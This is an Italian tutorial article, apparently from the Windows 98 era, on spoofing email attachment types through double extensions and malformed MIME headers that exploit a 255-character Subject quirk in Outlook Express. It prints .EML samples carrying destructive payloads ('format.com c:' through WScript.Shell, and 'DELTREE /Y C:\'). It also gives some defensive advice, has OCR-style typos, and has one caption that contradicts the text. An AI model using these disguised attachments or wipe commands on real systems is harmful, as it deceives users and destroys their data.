IL FILE TYPE SPOOFING |
Lo spoofing dei tipi di file è una tecnica usata, spesso anche dai virus, per simulare che un certo file corrisponda ad un tipo diverso da ciò che è realmente: in questo modo si può ingannare un utente facendogli credere che un certo attachment sembri un'immagine JPG, un archivio ZIP o qualsiasi altra cosa, quando in realtà non lo è. Un primo tipo di inganno, quello delle estensioni, è molto semplice da realizzare e si basa sul fatto che Windows (95/98/ME) gestisce male le estensioni associate ai diversi tipi di files.
Infatti il sistema di Microsoft è stato progettato (di default) per non visualizzare le estensioni dei tipi di files che hanno un'associazione nel registro. Ciò vuol dire che un file ARCHIVIO.ZIP viene mostrato all'interno di Esplora Risorse e degli altri programmi solo col nome ARCHIVIO, senza visualizzare la sua estensione e può essere riconosciuto dalla classica icona associata ai file di Winzip.
Questa constatazione ci pone un primo interrogativo: cosa succede ad un file rinominato (volutamente) col nome ARCHIVIO.ZIP.EXE? Questo viene considerato un file di Winzip o un eseguibile? Ecco quindi in cosa consiste il primo inganno sui tipi di file: usando questo trucco della "doppia estensione" Windows riconosce il file come un .EXE (quindi lo tratta come un eseguibile) tuttavia visualizza solo il nome senza l'estensione, quindi per un utente ignaro di questo fatto, il file porterà il nome ARCHIVIO.ZIP, quando in realtà è un'applicazione .EXE.
Questo trucco è stato usato da molti worm come il famigerato ZIP Explorer. Per accorgersi della frode l'unica cosa che si può fare (oltre ad usare un buon antivirus) è quella di far visualizzare a Windows le estensioni dei files, anche per quelli associati ad applicazioni. Questa opzione si può attivare da Esplora Risorse nel menu Strumenti/Opzioni Cartella o Visualizza/Opzioni Cartella come in (Fig.1). In questo modo un'e-mail che porta dietro una attachment, visualizza il file allegato col suo nome reale, mostrando magari che questo in realtà è un eseguibile (Fig.2).
|
IL MIME NELLE E-MAIL |
Un secondo modo di realizzare lo spoofing dei tipi di files è invece molto più subdolo e meno facile da intercettare: si tratta dell'uso di intestazioni malformate nel protocollo MIME che gestisce gli allegati alle e-mail. Gli attachment in un messaggio di posta elettronica vengono codificati usando lo standard MIME con una codifica di solo testo nel caso dei file ASCII puri (TXT, BAT, HTA) oppure con la codifica "base64" nel caso si tratti di file binari (eseguibili, immagini, file ZIP). Ecco un esempio di come vengono codificati (in forma di attachment) un file di immagine (PAMELA.GIF) e un file eseguibile (COMMAND.COM). La sezione evidenziata (box 1) nelle due definizioni di attachment è quella che definisce il tipo di files allegato e quindi anche l'applicazione da eseguire e l'associazione che deve realizzare Windows per quel file. L'inganno consiste proprio nel cambiare il campo "Content-Type" indicando magari che un file eseguibile è un'immagine. Windows (quindi Outlook Express) andrà ad associare a quel file l'icona corrispondente a ciò che indichiamo dentro la definizione MIME, quindi un attachment che magari è un programma porterà l'icona associate ai file GIF. Proviamo allora a creare una e-mail con un allegato "camuffato": scriviamo un file di testo come quello riportato e salviamolo poi con l'estensione .EML (per renderlo una e-mail leggibile da Outlook); |
MIME-Version: 1.0
From: mittente@server.com
To: destinatario@server.com
Subject: bla bla bla
Content-Type: image/gif; charset=us-ascii
Content-Transfer-Encoding: 7bit
<script>var wsh=new ActiveXObject('WScript.Shell');
wsh.Run('format.com c:');</script>
|
|
Il file allegato è un'applicazione di tipo HTA, quindi eseguibile, tuttavia se andiamo ad aprire l'e-mail essa riporta un allegato con l'icona di un'immagine GIF proprio perche nel "Content - Type" abbiamo specificato un tipo di file diverso. l'exploit ancora non è ancora completo, perché se ora proviamo ad aprire il file allegato, questo viene associato al visualizzatore di immagini GIF di Windows e non viene più considerato un eseguibile, quindi pur volendo non potrebbe causare alcun danno. Cosa è successo? Cambiando il "Content - Type" abbiamo modificato radicalmente il tipo di file, che ora viene associato ad un'altra applicazione e quindi non è più eseguibile. Come oltrepassare questa limitazione? E' qui che viene sfruttato un bug del MIME che consiste nel creare un "Subject" dell'e-maillungo 255 caratteri (ne uno di più, ne uno di meno!) seguito dall'estensione che vogliamo dare al file (nel caso di prima quindi ".HTA"). Se mettessimo un solo carattere in meno dei 255 previsti, l'allegato verrebbe riconosciuto come un'immagine GIF; se invece mettessimo un carattere in più l'allegato perderebbe ogni tipo di estensione e non sarebbe riconosciuto da Windows ne associato a qualche applicazione. Ecco quindi come modificare l'e-mail per realizzare il filetype spoofing; |
MIME-Version: 1.0
From: mittente@server.com
To: destinatario@server.com
Subject: PAMELA.GIF + [245 spazi vuoti] + .HTA
Content-Type: image/gif; charset=us-ascii
Content-Transfer-Encoding: 7bit
<script>var wsh=new ActiveXObject('WScript.Shell');
wsh.Run('format.com c:');</script>
|
|
L'essenziale è inserire nel " Subject" 255 caratteri ASCll: volendo si può scrivere anche un nome fasullo per il file (PAMELA.GIF) e completare poi i caratteri che mancano con degli spazi vuoti fino ad arrivare a 255 (nel nostro caso quindi servono 245 spazi perché "PAMELA.GIF" è lungo 10 caratteri) e infine scrivere la vera estensione da assegnare al file allegato (.HTA). Il tutto ovviamente va scritto su un'unica riga(Fig.3); |
Ecco un altro esempio che utilizza lo spoofing di un file BAT, che virtualmente può eseguire qualsiasi comando sul sistema: |
MIME-Version: 1.0
From: mittente@server.com
To: destinatario@server.com
Subject: PAMELA.GIF + [245 spazi vuoti] + .BAT
Content-Type: image/gif; charset=us-ascii
Content-Transfer-Encoding: 7bit
DELTREE /Y C:\
|
|
CONCLUSIONI |
Come ci difende Windows da questi attachment pericolosi? E' veto che la falla di sicurezza può rendere ingannev6li i files e confondere gli utenti, tuttavia Windows si accorge dell'inghippo e quando l'utente clicca per aprire l'allegato, Outlook mostra un minimo di avviso (Fig.4), anche se però non viene menzionato il fatto che l'allegato non è un'immagine e all'interno dello stesso avviso il file viene nominato col nome fasullo, non con quello reale, proprio per il fatto che sono stati usati 255 caratteri. |
|
|
|
Fig.1 Abilitare l'opzione è sconsigliabile |
|
Content-Type: image/gif; name="PAMELA.GIF"
Content-Transfer-Encoding: base64
oaMk7W8HR28u0yAIB2OfcimXz5UmiMuV025P83
.......(parte codificata in base64)
Content-Type: application/actet-stream; name="COMMAND.COM"
Content-Transfer-Encoding: base64
TVogALsAAAC4BAAA//8AAAAAAAAAA
.......(parte codificata in base64)
|
|
Box 1 Esempio di codifica degli allegati |
|
|
Fig.2 L'allegato appare col nome completo |
|
|
Fig.3 Esempio di header MIME malformato |
|
|
Fig.4 Outlook mostra l'avviso d'apertura |
|